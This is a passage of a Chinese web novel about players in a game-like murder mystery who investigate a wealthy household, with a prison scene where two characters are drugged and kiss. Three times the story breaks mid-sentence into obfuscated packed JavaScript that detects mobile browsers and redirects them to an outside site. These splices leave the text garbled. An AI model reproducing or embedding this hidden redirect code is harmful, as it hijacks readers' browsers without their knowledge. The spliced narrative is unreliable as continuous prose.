顾夫人面如枯槁,右眼下一点红痣,显得她分外楚楚可怜。 “夫人节哀。”县太爷看着好友亡妻这般形容,未免心中难忍,又碍于身份,不便多加宽慰。 待县太爷领着沈冷二人上完了香,顾夫人上前,颇为担忧地道:“县令大人,亡夫这般惨死,实属家门不幸,不知那罪人现今是何处置?望大人尽快查明真相,还顾家一个公道,也好令亡夫得以瞑目。” 说罢面上又划过一行清泪,“妾身一个妇道人家,突遭变故,家中又无成年男子做主,如今这许多事,真是不知如何是好……” 一番话说得县太爷颇为动容,当即表下决心:“夫人且放宽心,此案证据确凿,那罪犯又供认不韪,本应尽快结案,只是那罪犯的同伙乃是天心寺的首座,又拒不认罪,才拖着一时未结案。想来着案件如此明晰,那法师也不能一味抵赖,只需稍加时日便可令他认罪画押。” 说罢斜眼给沈冷二人使了个眼色。 冷砚冰冷着一张脸不说话,沈南南倒是看懂了,也道:“夫人放心,大人说得极是,我等必定将此案告破。” 说着用手肘碰了碰一旁的冷砚冰。 冷砚冰这才道:“是,请夫人放心。” 顾夫人用帕子将眼泪拭去,感动又欣慰地连声道谢,亲自送三位出门。 刚出灵堂,一个软乎乎的小东西就撞上冷砚冰的小腿,她低头一看,竟是一个肉乎乎的糯米团子。 “你是谁呀?” 糯米团子瞧上去莫约三四岁上下,一身素麻,睁着圆圆的大眼睛仰着头看冷砚冰,一张肉嘟嘟的小花脸,小嘴儿里鼓鼓囊囊,小肉爪子攥着一只大鸡腿不放,而那双手此时正抱着冷砚冰的小腿窝,鸡腿蹭了冷砚冰一裤子油。 “你又是谁啊?糯米团子。”冷砚冰嘴角不可闻地扬了扬,弯腰提溜起他那滑下来的孝帽。 “我不是糯米团子,我是小粽子。”小粽子摇了摇头,十分认真地说。 他看到冷砚冰腰上的横刀,睁大了双眼,“哇,这个是什么呀?” 一只油爪子就这样盖在了黑漆皮的刀鞘上,留下油腻腻的印子。 冷砚冰在心中“啧”了一声,正愁怎么把这小家伙甩掉,却听一旁顾夫人惊讶地喊道: “宗儿,你怎么跑这儿来了?”顾夫人赶紧上前,想要将小粽子拉走,转头又责怪姗姗来迟的婢女,“怎么不看着点儿?” 小丫鬟低头认错:“都怪奴婢不好。小少爷说他想娘亲……一直哭闹着哄不好,奴婢这才带小少爷到前厅来找您,谁曾想他跑这么快,不想冲撞了几位大人。” “不妨事不妨事。”县太爷似乎很喜欢小孩子,看着小粽子娇憨可爱的模样笑得合不拢嘴。 “赶紧带宗儿下去。”顾夫人有些不耐烦地对那婢女道。 小丫鬟上前想要将小粽子抱开,谁知那小家伙死活不松手,将冷砚冰的腿抱得更紧了,“我不要我不要,我要和大姐姐一起玩。” 顾夫人嗔道:“宗儿,不许胡闹,冷捕头有公务在身,哪能陪你瞎玩儿。” “我就要我就要,哇啊啊啊,我就要嘛——”小粽子撒起泼来,嘴里还没来得及咽下的肉一口气全部吐了出来,手里的鸡腿也扔了,双手死死拽住冷砚冰的裤腿儿。 冷砚冰见状,一阵恶寒,强忍住要把那小家伙甩开的冲动。 便在这时,忽听上空响起一阵摇铃声。 紧接着,系统的少女提示音响起: 【请两位玩家共同完成“项庄舞剑,意在沛公”剧情任务,时限为两个小时。若任务失败,或将错过关键剧情哦。】 系统提示音只有玩家能够听到。 沈、冷二人呆愣住,还在反应任务的内容。 县太爷看着此等场面,甚是和蔼地捋了捋胡须,颇为大度地放了沈冷二人半天假: “既如此,你二人就陪陪小少爷吧,今日就不必回衙了。” “这怎么好……”顾夫人有些为难。 “不妨事,不妨事。”县太爷摆摆手,也不等顾夫人多说,道了声“告辞”便往外走去,复而咳嗽了两声,对沈、冷二人使了两回眼色。 生怕不够明显。 顾夫人连忙请管家送县太爷出府。 沈南南瞧见了县太爷那眼神,想起她们原先本就是要来顾府搜证的,如此正好有理由留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈南南和杨灵灵本是邻居,一来二去,冷砚冰和杨灵灵便也混熟了。 沈南南时刻谨记系统的提醒,好在她也发现,自己的原有性格与角色性格甚为相似,应当不会轻易OOC。 捋了一遍自己的角色身份,沈南南十分自然地便唤出了“砚冰”这一称呼。 冷砚冰被叫得一愣,显然还没有完全适应自己的身份。 她为人慢热、对事冷淡,日常性格上倒是和“冷砚冰”颇为相似,但令她不熟悉的,是“冷砚冰”那一身精湛的武艺。 记得自己会武功是一回事,真正操演起来又是另外一回事了。 沈南南见她沉着脸不出说,问道:“咋了?” “我也不确定我会不会了。”冷砚冰诚实道。 眼见四下无人,沈南南提议:“要不你先耍两下试试?” 冷砚冰点头,握住腰间的佩刀的刀柄。然而那横刀在手,原本还有些忐忑的心瞬时落地。 “噌”地一声,她利落地抽到出鞘。记忆一瞬袭来,是她年幼时便跟在师父身边刀口舔血、历尽磨难,故才练就的一身武艺。 出刀随身转,飒沓如流星。 沈南南忍不住惊叹:“很厉害啊,砚冰,你可以的!” 冷砚冰收到入鞘,这下总算放心下来,看来玩家会自动习得角色已有的技能。可怜她一个平时去操场跑步都很少的人,现在竟然能在这儿耍大刀了。 “那我耍刀,你干什么呢?” 沈南南想了半晌:“这是个好问题。” 冷砚冰点头“嗯”了一声:“所以,我们到底是要完成什么任务?” 沈南南挠了挠头:“什么‘项庄舞剑意在沛公’啊,这系统……跟咱俩打哑谜呢。” 沈南南心想,“项庄舞剑”其实还算明显,这里唯一能够舞刀弄剑的只有冷砚冰了。 那“沛公”又是谁?顾府小少爷? 难不成是要冷砚冰杀了小少爷? 系统疯了吧。 4. 探心言 顾府后院的凉亭外,冷砚冰给小粽子舞了两三回刀,小家伙欢呼雀跃,额头上也跟着冒了好些汗。 顾夫人的贴身婢女珠儿见状,担忧地拿出帕子给小粽子擦了擦,劝道:“小少爷,咱们先歇会儿好吗?先用点银耳羹吧,也让冷捕头歇一歇。” 小粽子很听珠儿的话,道了声“好”,跟着冷砚冰进了亭中,见她坐下,也乖乖地自己爬上凳子坐好。 沈南南此前无心看冷砚冰舞刀,脑中仍在思虑这任务中的“沛公”到底是谁?或者说指代的是什么? 就这么干坐着也有些奇怪,于是顺手拿起水果刀,从果盘中拿出一只梨削了起来。 “让奴婢来吧。”珠儿一脸肉乎乎的乖巧模样,礼数倒是周全,只是不知为何一直耷拉着脸。 家中新丧,换了谁都高兴不起来吧,沈南南心道,只是这珠儿模样很是眼熟,像是在哪里见过。 有问题。 沈南南灵光乍现,这儿除了小少爷,就只剩这个丫鬟了,沛公一定是他们其中之一。 “没事没事,我在这儿闲着也是闲着。珠儿姑娘也坐吧,站着怪累的。” 沈南南将雪白的果肉分成小块儿放到盘中,殷勤地抵了一块给珠儿。 珠儿垂着脑袋,只将梨块儿接过,却也没有坐下。 沈南南和冷砚冰对视一眼,皆觉得这个珠儿应当是个很重要的NPC。 见她这般警惕,沈南南打量着凉亭周围,又拿了个梨,一边削皮,一边看似漫不经心地道: “我看这一片儿还挺幽静,不过这山脚下倒是挺多名贵的花,怎么这山上尽是这种不起眼的小粉花?倒是也还挺漂亮的。” “这是月见草!” 小粽子嘴嚼着水果,郑重地强调,“娘亲最喜欢啦!” 沈南南被他一脸认真的样子逗笑了:“没想到顾夫人出身有名的商贾之家,竟这么喜欢这种路边小野花?” “不是母亲!是娘亲!”小粽子气鼓鼓地纠正。 “是柳姨娘。”一旁的珠儿解释道,忽又想起此刻柳姨娘正在牢狱之中,赶忙又闭了嘴。 沈南南这才想起,顾府的小少爷是顾员外独子,乃妾室柳姨娘所生。 沈南南“哦”了一声:“原来是这样。”好像对珠儿的反应不甚在意。 “珠儿姐姐,娘亲她到底去哪里了呀?母亲说娘亲出门去了,可是娘亲怎么去了这么久还不回来?”小粽子仰着头,可怜巴巴地问。 “小少爷……”眼见珠儿不知该如何是好,沈南南笑眯眯地对着小粽子道: “小少爷,你还想看冷姐姐舞刀吗?冷姐姐会的刀法可多了,你们去外面让冷姐姐舞给你看好不好?” “好!” 小粽子飞快地将娘亲的事抛在脑后,跳下凳子,拉着冷砚冰的手就要往外跑。 冷砚冰和沈南南飞快地交换了个眼神:分头行动。 两人行至远处,冷砚冰想着应当听不见亭中的说话声了,便停了下来,又让小粽子离远了一些,这才又使出刀法来。 小粽子兴奋地连连叫喊,雀跃地拍着手。 亭中,见珠儿长舒一口气,沈南南起身,轻轻将她拉过来坐下,拍拍她的肩膀,又给她倒了杯茶。 “歇会儿吧,府中出了这样的事,这两天你肯定累坏了。” 珠儿惶恐地接过,正欲起身,又被沈南南按住:“快坐吧,这里又没有旁人,我不会说出去的。” 珠儿只好低着头道谢:“多谢官娘子。” 沈南南见她仍是一脸紧张,也不好直直盯着人家,便起身,靠在栏杆边观赏起了冷砚冰舞刀,有一搭没一搭地和珠儿闲聊,转移她的注意力。 “诶,对啦,这小少爷似乎很喜欢武功呢,见我们冷捕头舞了这么多回刀了还想看,府里也没请个教习师父么?” 珠儿脸色看上去平和不少:“有的。老爷的亲信薛护卫武功高强,平日里都是他在教导小少爷武艺的。” 沈南南好像不甚在意,随意回了句,却半天也没了下文。一会儿,又才似想来: “诶,这位薛护卫,今日在灵堂上怎么没见?” “夫人今早派薛大哥前去处理老爷下葬之事,怕是要晚些时候才能回府呢。” 薛……大哥啊。 这称呼,有点意思。 沈南南柔和地笑道:“看来这位薛护卫也挺得顾夫人宠信呢。” 珠儿也笑了笑,面上泛起淡淡红晕:“是,薛大哥做事妥帖稳重,为人又谦和有礼,很是受老爷夫人器重呢。” 沈南南顺着珠儿的话道:“薛护卫武艺又高强,做事又得力,想必也是一表人才吧。那你平时和他的相处多吗?” 珠儿有些羞赧,垂下眼眸:“也不是很多,薛大哥他很少来后院的,每次来也都是给夫人送一些话本诗词,旁人不知好坏,所以都是特意吩咐薛大哥去寻的。” 【恭喜玩家完成“项庄舞剑,意在沛公”任务!亥时将进入集中搜证环节,搜证地图为城东顾府,倒计时4个小时。】 咋就任务完成了? 还未来得及兴奋,便见顾夫人和带着丫鬟走上前来,说是该传晚饭了,邀二位官娘子一同用饭。 “也好,想来我们冷捕头也累坏了。”沈南南起身,走到冷砚冰面前,见她整个人汗如雨下,便掏出一张手帕,伸手准备给她擦额间的汗。 冷砚冰比沈南南高出半个头,便配合着低下头。 沈南南凑近,低声道:“马上要集中搜证了,我们出府一来二去的不方便,不如找个机会留下来。” “好。” 顾夫人瞧着沈、冷二人,脸颊有些泛红,清咳了一声,撇过头去,对二人道: “两位官娘子请随我来。”说罢便转身为两人引路。 沈南南瞧见顾夫人的样子,和冷砚冰大眼对小眼,两人均是一脸不解。 * 一顿晚饭虽鸡鸭鱼羊样样俱全,却被顾夫人吃得礼数分外周全,冷砚冰心里百般局促,但面上仍能装出一副无事发生的模样,倒是沈南南应付自如,同顾夫人你来我往,只看谁比谁更加客套。 饭毕,小粽子竟还舍不得冷砚冰,闹着要冷砚冰给他讲一些江湖上的故事。 冷砚冰一面惊叹于小粽子小小年纪竟也晓得什么是江湖,一面牢记集中搜证阶段的时限,便答应下来。 顾夫人不便拒客,立即吩咐下人在东院收拾两间厢房出来以供二人使用。 沈南南道:“不用麻烦了,一间就好。” 左右她俩也不会真的睡觉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439070|169344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一间房还便利一些,省得一会儿接头还得耽误功夫。 顾夫人愣了一愣,面颊又红了红,意味深长地看了沈、冷二人一眼,吩咐了下去。 这一眼,看得沈南南和冷砚冰更是一头雾水。 冷砚冰和小少爷讲了不到半个故事,那小家伙便开始困了,想是晚饭吃得太多,晕碳了。 又在小少爷房中和珠儿闲聊了会儿,彼时离亥时不足半个时辰,二人告辞回了房中。 “灵灵一会儿还来吗?我们到时候怎么接应她呢?”沈南南问。 冷砚冰道:“一会儿没人了,我到大门口看看吧。” 沈南南“嗯”了一声,刚想和冷砚冰商量一下从哪处开始查起,却听系统又出现了。 【即将进入集中搜证环节,在此期间,玩家可在顾府地图内进行搜证。集中搜证过程中,玩家注意不可以借助NPC力量哦。】 【现已开启证据保护模式,已进入地图的NPC、玩家均不可离开。其余玩家若未能在规定时间即亥时前到达顾府,则无法进入搜证地图。】 【搜证时限为一小时,倒计时30分钟,小柳的提示音响起后,集中搜证开始。】 冷砚冰道:“出不了门,那只有站在院墙上了。还有时间,我去看看她到了没。” “我也去。” 冷砚冰轻手轻脚地推门出去,现下整个东院异常安静,想是均已睡下。 见四周没人,冷砚冰带着沈南南用轻功飞上房顶,又往顾府大门的院墙飞去。 沈南南一面惊叹冷砚冰这一身好轻功,一面往下四处张望,查看整个顾府的布局,一面又担心杨灵灵未能及时赶到,错过了搜证。 廊下不显眼处,有门房吃酒赌钱,上夜的丫鬟小厮偷懒打盹。因着新丧停灵,故而大厅灯火通明,有下人轮流值夜,以备香烛纸钱不断。 与白日里相比,顾府少了人为的呜咽之声,可夜风萧瑟,没有日光的映照,更是比白日里多出几分渗人的意味来。 整个顾府极大,除大堂外,分为东西两处后院。 东院为顾夫人所住,西院据说则为被抓了的柳姨娘所住。 前院西侧为客房,乃是此前下山将经的晦明法师所住,且顾员外丧命于此,不便住人,于是两人便被安置在东院的厢房内。 东侧则为管家、仆从等人集中所住。 前院和后院被一条小河隔开,河水自东向西流去,汇集于西院的池塘,又流向府外。 沈南南虽不懂风水,但总觉得这格局看上去有哪里不对劲。 沈、冷二人往府外大门处看了半晌,门口仍是空无一人,根本不见杨灵灵的踪影。 【即将进入集中搜证环节,倒计时只剩10分钟了哦。】 沈、冷二人心急如焚地一边等着,一边商量着毕竟搜证时间有限、地图又大,还是分头行动,一人搜一个院儿。 “布谷布谷。”像是有人发出的暗号声。 沈南南和冷砚冰关心则乱,没反应过来这声音是从上空传来,欣喜地往下看去,却见门外依旧是半个人影都没看到。 【集中搜证开始啦!请玩家自行搜证,时限一小时。】 原来是系统的提示音。 两人无奈对望:“灵灵到底哪儿去了啊?” 5. 迷情戏 杨灵灵一觉睡得沉,醒来时,已快到晚饭时辰了。 她猛地坐起,陡然惊觉,她应当和沈南南和冷砚冰一起查案子的,可都这个点儿了,只怕她二人已经从顾府回来了。 杨灵灵下床,推开窗,见隔壁门外灯笼未亮,想是沈、冷二人归来,定然还在县衙整理卷宗,于是快速梳了头发,准备去衙署问问她们都查到些什么线索。 忽得瞥见桌上的食盒,应当是阿娘给自己留的饭菜,喊了两声“阿娘”,却没人回应,想着她定是又去施姑娘家了。 下午睡得久,只能今晚通宵整理线索把时间补回来了,也不知道沈南南她们吃饭没有。 又想起酒窖里还有几壶“杨灵灵”去年酿的梅子酒,便去提了两壶来,想着为下午的失约赔礼道歉。 然而行至衙门口,才知沈冷二人去了顾府,竟还未回县衙。 她转身欲走,却听到系统提示音。 【请玩家进入牢狱,完成“今夕复何夕,共此灯烛光”剧情任务,时限为1个小时。若任务失败,或将错过关键剧情哦。】 【小柳检测到已有玩家完成“项庄舞剑,意在沛公”剧情任务,亥时将自动进入集中搜证环节,倒计时4个小时。请您于亥时前进入顾府,若未能在规定时限内到达,则将无法进行集中搜证。】 杨灵灵听得一头雾水,理了理头绪。 还剩四个小时就要集中搜证了,这破剧情任务是非做不可吗? 可系统说,关键剧情很重要。 从县衙到顾府有些距离,若是脚程慢,只怕要一个小时,但她记得,“杨灵灵”是有一身轻功,若是飞檐走壁,应当不过三十分钟就到了。 前提是在她能顺利地飞上屋檐。 速战速决。 和县衙的门子打了个招呼,就说是受冷砚冰之托,去牢狱帮忙问个话,门子便忙请她进去。 熟门熟路地摸到牢狱,见三个当差的正在吃饭,配了点小酒,划拳行令正在兴头上。 “几位爷辛苦,冷捕头让我来犒劳犒劳大家。”杨灵灵将食盒往桌上一放,两壶好酒也上了桌。 几个狱卒一边奉承着“灵灵姐客气,还是灵灵姐这酒好”,一边打开,端出几盘小菜。 杨灵灵同几人客套几句,随意问了几句人犯的情况,借了钥匙,便叫几位好生吃喝着。 三人道了声“您忙”,杨灵灵便往里间走去。 整个牢狱空空荡荡,唯有两处关了人。 打眼处先瞧见那柳姨娘——蜷缩在角落,双眼无神,形容枯槁,即便杨灵灵路过也毫无反应。 又走过两处空牢房,稍微往里一些的,便是天心寺首座,前几日坊间众人议论纷纷的“才俊法师”,如今仍是议论纷纷的“风.流.淫.僧”。 那法师阖上双眼,结跏趺坐,腰背挺直,手结禅定印。 烛火昏暗,令杨灵灵有刹那的恍神。 若非这牢狱中弥漫着一股奇怪气味,她当真要以为那法师端坐的,非草席而是莲台。 即便下狱,竟也不见身陷囹圄的窘困模样,倒被杨灵灵品出一副处变不惊的得道高僧姿态来。 一看到这位才俊法师,杨灵灵不免警惕起来。 倒不是因为他,而是因为系统。 这破系统要是敢诱导她看似完成“关键剧情任务”,实则开启“专属恋爱支线剧情”,并让她错过了集中搜证环节的话,那她铁定给这系统狠狠来上一巴掌。 然而已经上了贼船,只能硬着头皮干了。毕竟晦明也是个重要的NPC,说不定能问到什么重要线索。 今夕复何夕,共此灯烛光。[1] 杨灵灵又将剧情任务在心中默念了一遍。 这句诗描写的应该是杜甫与少年好友久别重逢的景象。 联系杨灵灵年幼时在寺中修行过的经历,在这牢狱之中,最有可能和与她“久别重逢”的,便是眼前这位天心寺首座了。 在杨灵灵的记忆里,倒是有过一个和她相交甚密的小沙弥,至于小沙弥叫什么名字,过了十年,她实在是想不起来了。 她实在不敢把记忆中那个小沙弥和眼前的这位才俊法师联系起来。 思索间,杨灵灵却忽得瞥见,那法师头上冒出不少豆大的汗珠。 这才四月,有这么热吗? 定睛一看,才发现法师此刻似乎并不是气定神闲,而是眉头微皱,嘴唇正不停翕动着。 热成这样? 杨灵灵找到钥匙,开门进去。 “法师,你怎么了?” 杨灵灵在他身前缓缓蹲下,悄声问道。 不想那法师倏地睁开看,竟一把握住杨灵灵的右手腕骨。 杨灵灵一个激灵,强忍住才未叫出声。往回扯了扯被那人拽住的手腕,却怎么也挣脱不开。 她对上晦明那双深邃的眸子。 这般景象,仿佛回到了那个在顾府的晚上。 只是彼时一室透亮,他一双眸子灿若星辰,仿若九重天上的照妖镜,照得那在他口中德行有亏的杨灵灵无尽心虚。 而此刻,牢狱中昏暗的烛光摇曳,映照在晦明的脸上,一阴一阳,勾勒出他侧脸硬朗的线条,以及愈发深邃的眼窝。 空气中氤氲着的那股奇怪气味变得愈发浓郁,令杨灵灵的深思也不自觉地混沌起来。 眼见晦明薄唇微启,然后才听到他的略带低沉的嗓音: “是你?” “这不巧了么。” 忽然,晦明轻笑一声。 杨灵灵瞬时觉得这人似乎有点不太对劲,自从他睁开眼,他便死死盯着她手上的朱砂莲手钏。 她也顺着晦明的视线看过去。 九莲山上盛产朱砂莲,于是坐落于其上的天心寺便以朱砂莲手钏为特产,住持开光的朱砂莲手钏更是有市无价。 有朱砂莲手钏并不稀奇,毕竟人人皆可在天心寺法物流通处买到,但杨灵灵腕上的这一串则不一样,乃是当年她离寺前,由她的小沙弥朋友亲手所制、所赠。 ——每颗珠子大小不一,甚至不太圆润,虽都尽力雕刻成莲花的形状,但每朵莲花的瓣数也不一样。 有一朵莲花上还刻有她当年的法名。 “炳灵。” 杨灵灵被唤得一怔,视线和晦明交汇在一处。 “还……真的是你?”杨灵灵瞪大双眼。 她想起来了,当年那个小沙弥真的叫晦明。 晦明这才将她的手腕放开,脸上却难掩痛苦之色。 杨灵灵发现,他额头上的汗比方才淌地更厉害了。 “你到底怎么了?怎么这么热?”杨灵灵从怀中抽出一张手帕,递给晦明。 晦明皱着眉,往后靠着冰冷的墙壁,摇了摇头没有接:“没什么,这药性一会儿就散了。” “什么药?你莫不是病了吧?还你吃错什么东西了?” 晦明嗓音已有些颤抖:“只是方才用了这牢狱里的饭菜。” 杨灵灵瞧见地上放着的空碗,拾起来闻了闻,转头问他:“里面竟然加了酒了,你没尝出来吗?” 话音未落,她却忽然闻见,空气中那奇怪的味道此刻竟夹杂着一股异香,她的脑子变得愈发混沌。 以手撑住牢门,晃了晃脑袋想让自己清醒清醒,心中又顿时烦躁起来,想着这个任务到底怎么样才算完成? 却听到晦明音色沙哑:“贫僧此前从饮过酒,自然尝不出其中滋味。” 杨灵灵忽然想起方才见了的柳姨娘:“没事,淫戒都犯了,也不差这点儿酒了。” 此言一出,杨灵灵真想抽自己两嘴巴。 晦明无言,但眉间皱起的刻痕似乎比方才更深了。 越是不经意的脱口而出越能显露一个人内心真正所想。 言语是把诛心的利刀。 她瞧不明白,晦明此刻愈加痛苦的神色是因着她话里赤裸的现实,还是她语气中那将他人之珍宝视若无物的轻蔑。 心里有些过意不去了。 瞧着晦明那水洗过似的额间,到底于心不忍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439071|169344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她又蹲下来,欺身过去替晦明擦拭额上的汗珠。 指腹的温度透过薄丝帕,渡上晦明的皮肤,他一个激灵睁开双眼,而他额间的滚烫同样也惊着了她。 凑得近了些,借着昏暗又闪烁的烛光,她这才发现,晦明的脸红得吓人。 她似乎觉得,晦明此时的眸子比之前更深了,仿若能将人一口吞没的深渊。 她的脑子现下已经一团浆糊。 那双眸子正缓缓地向自己逼近。 面上感受到他呼出一口灼.热,引得杨灵灵将视线移上他那双轻启的薄唇。 闪烁的烛光中,她忽然觉得那双唇的色泽像极了一种琼脂糕。 晶莹剔透,软糯清甜。 她胡乱地想着。 可理智告诉她,她现在应该要离开才是。 可系统提示音还未响起,她的剧情任务还没做完。 夹杂着香醇酒气的滚烫气息氤氲上来,一时间如透明罩子般将她尽数包裹,灼烧着她的每一根神经,眼前的一切开始变得混沌迷离。 最后的理智让她伸出一只手,抵上眼前这近在咫尺之人,意欲将他推离。 可他肌肤上的滚.烫也已透过衣衫蔓延至她的掌心,她被烫到,正要拿开,可一只更加滚.烫的手覆了上来,复又将她紧密地包裹住。 腰间同样被另一片滚.烫覆住,猛地要将她拉进这片熔岩之中,身体与身体之间的灼烧,融化掉了她残存的名为“清醒”的神思。 世界似乎回到万物初开,宇宙鸿蒙、晦暗难明之时,一片混沌之中,原始的欲.望相互纠缠着,难解难分。 只能感受到那夹杂清甜的滑.腻触感正勾勒着她的唇舌,双方口中呼出的灼热气息,让酒的滋味愈加香醇,从中析出的馥郁香气正在唇齿间蔓延着,溢满这个已分不清彼此的空间。 她脑子晕晕乎乎,想到自己的初吻好像没了。 完成个剧情任务而已,她牺牲是不是太大了? 一片混沌之中,耳边响起系统的提示音: 【恭喜玩家完成“今夕复何夕,共此灯烛光”任务,亥时将进入集中搜证阶段,倒计时3个小时。】 杨灵灵一个激灵,霎时睁开双眼,不知道哪儿来的力气,猛地将眼前之人推开。 由于无甚防备,“咚”地一声,晦明的头撞上牢房的墙壁,他一声吃痛,但好似也清醒不少。 杨灵灵起身退后两步,用袖子抹了抹嘴。 眼下这般光景,真可谓混乱不堪。 明明她只是来探监,怎么莫名其妙就和囚犯啃在一处了? 她还是个母胎单身啊。 对方还是个出家之人啊。 作孽啊。 不愿再去深究事情的前因后果,到底是谁主动谁被动。 系统提示离集中搜证还有三个小时,她现在真得走了。 见晦明闭上双眼,好似也不愿面对眼下的情形,杨灵灵飞快道了声: “我先走了。” 转身间,却见一个黑色身影倏地从眼前闪过,向牢狱外间跑去。 杨灵灵飞快冲出牢门,往前跑了几步,却猛然一瞥,关在牢房中的柳姨娘竟仰面倒在了地上,瞳孔极度张大,口鼻出血,一副惨状。 强忍恐惧,行至外间,那黑影却早就不见了,然而方才喝酒行令的三个狱卒竟已倒在了饭桌前。 杨灵灵颤巍巍地伸手上前探了探这三人的鼻息,好在几人鼻息尚在,可无论如何也叫不醒。 牢狱之内烛光昏黄,密不透风,杨灵灵方才强打的精神此刻也几乎消耗殆尽,只觉头晕目眩,暗道此处绝非久留之地。 她还得去顾府,离集中搜证没剩多少时间了。 然而此刻,她的头和脚像是被灌了铅,眼前的景象愈加变得模糊。 眼皮再也支撑不住,一片漆黑倏地将杨灵灵吞没,她整个人控制不住地向前倒去。 ___________________ [1]【唐】杜甫《赠卫八处士》 6. 夜探案 月上枝头,夜阑人稀。 顾府正堂的房顶上,等不来杨灵灵,集中搜证也只剩下五十多分钟,沈南南和冷砚冰只得快速行动。 按照之前讨论的,一人去后西院儿,一人去前院西侧的客房。 冷砚冰道:“我先送你去西院儿。” 要避开顾府守卫,需要飞檐走壁,沈南南不会轻功,只能借冷砚冰之力。 两人轻而易举地就绕开了西院儿的守卫,稳稳地降落在这西院的庭院之中。 进门打眼处便是一座石桥。整座房屋自水上而建,三间屋子靠那石桥连接。那池塘的东北角靠着后山,应当就是白日里她们和小少爷去过之处。池中之水从东边小河流入,又自西边流出。 白日里瞧着,或许是个风景别致的院落,但在这昏暗的月光下,一阵阴风吹过,沈南南瞬时感到背脊发凉。 “就非得大晚上搜证吗?”沈南南无奈叹气。 冷砚冰赶时间,转身欲走,听到声音,又停住脚步:“害怕了?” “怎么可能?”沈南南干笑两声,“你快走吧,我可以……” 话音未落,不知从哪儿跑出来一只黑猫,“嗖”地一下从沈南南脚边窜了过去,直直冲向前方的正屋。 沈南南一个激灵,正欲呼叫,被一旁眼疾手快的被冷砚冰捂住了嘴。 沈南南将冷砚冰的手扒拉下来,声音却还有些颤抖:“你走吧砚冰,我进去搜证了。” 顿了顿又补充了句:“我可以的。” 好似在为自己打气。 “你确定吗?” 冷砚冰知道,沈南南这辈子最怕猫了。 沈南南恍惚地“嗯”了声,转头欲走,却被冷砚冰拉住:“南南,你顺拐了。” * 冷砚冰小心翼翼地推开主屋房门,带着沈南南走了进去。她到底还是放心不下。 有冷砚冰陪着,沈南南一颗悬着的心落下,她虽然嘴上不说,但心里其实是害怕的。 那只黑猫方才冲向正屋,此刻也不知道在哪里躲着,万一突然又跑出来,只剩沈南南一人,只怕搜证不成,小命都要交代在这里。 冷砚冰停下了脚步,眉头微皱:“这黑灯瞎火的,啥也看不见啊,要从哪里开始搜?” 便在这时,头顶响起一阵摇铃声: 【玩家您好,小柳现已为您开启积分兑换商城。】 【在积分兑换商城内,您可通过积分兑换搜证道具。】 【鉴于您目前所在剧本进度不足10%,已为您开启积分商城便捷模式。当剧本进度超过14%,积分商城便捷模式将只在最终凶手指认环节结束后为您开启。剧情认知阶段内,您可通过线下商城进行积分兑换。线下商城散落在世界各处,期待您的探索与发现。】 【正在为您查看当前积分……】 【玩家沈南南当前积分1,玩家冷然当前积分1。小柳已为您筛选当前可兑换搜证道具。】 伴随着系统的解说,漆黑一片的房间内,逐渐显现出一块淡蓝色的全息投影荧幕。 三样物品依次浮现—— 一副镜片为碧玉色、金色镜腿上刻有云纹的眼镜。其下有金黄色的繁体小楷写着「云纹夜视镜」。 其下还有另一行更小的绿色文字:“虎睛鹰瞳,明察秋毫。” 一个写着「锦囊妙计」的月白色锦囊。 一行红色小字道:“随缘见喜,逢凶化吉。” 一本封面为「洗冤集录」的书。 以下一行金色小字:“狄公重生,宋慈再世。” 沈南南和冷砚冰凑近,将三样道具看了看。 “这都什么意思?”沈南南忍不住眉头皱起。 冷砚冰也道:“这说明也些微抽象了点。” 【以下三样道具当前数量1,价格均为1个积分,皆不可重复兑换。若您选择兑换,只需在该道具投影下摊开手掌,即可兑换成功。】 【搜证道具均为消耗品,仅限本次集中搜证使用哦。】 “要不我选这个吧。”冷砚冰思索片刻,指了指最左侧的云纹夜视镜,“看起来应该这会儿就能用上。” “我有点纠结。”沈南南诚实道。 【小柳温馨提示:离集中搜证阶段结束仅剩40分钟了哦。】 沈南南一个激灵:“怎么这么快就20分钟了?我们还什么都没搜到呢。”又拉着冷砚冰,“时候不等人,砚冰,咱们快选吧。” “行,那我选这个夜视镜了?”冷砚冰走到荧幕的最左侧。 “好。”沈南南点头,便见冷砚冰将右手展开,放在那云纹夜视镜投影的下方。 只听“咚”的一声,宛如锤子敲响拍卖桌,那云纹夜视镜投影微微旋转,一副真正的云纹夜视镜竟轻轻掉落到了冷砚冰的手中。 冷砚冰将那夜视镜拿在手里细看,沈南南也凑上来,见那镜腿上的云纹浑然天成,惊叹道: “这也太精致了吧,你快带上试试有什么效果。” 冷砚冰将夜视镜小心翼翼地戴上,未曾想那眼镜腿刚刚接触到耳朵,整副眼镜竟就消失不见了。 来不及惊讶,忽有一道仅冷砚冰可见的强光射来,令她条件反射地闭上双眼,下一瞬,睁开眼,眼前原本漆黑一片的房间竟变得宛如白昼。 她将房中环视一圈,竟发现,屋中陈设中竟有几处浮现出了小小的蓝色放大镜图标。 见冷砚冰不说话,刚戴上的夜视镜刹那间又消失不见,沈南南赶忙问:“怎么回事啊?夜视镜呢?” 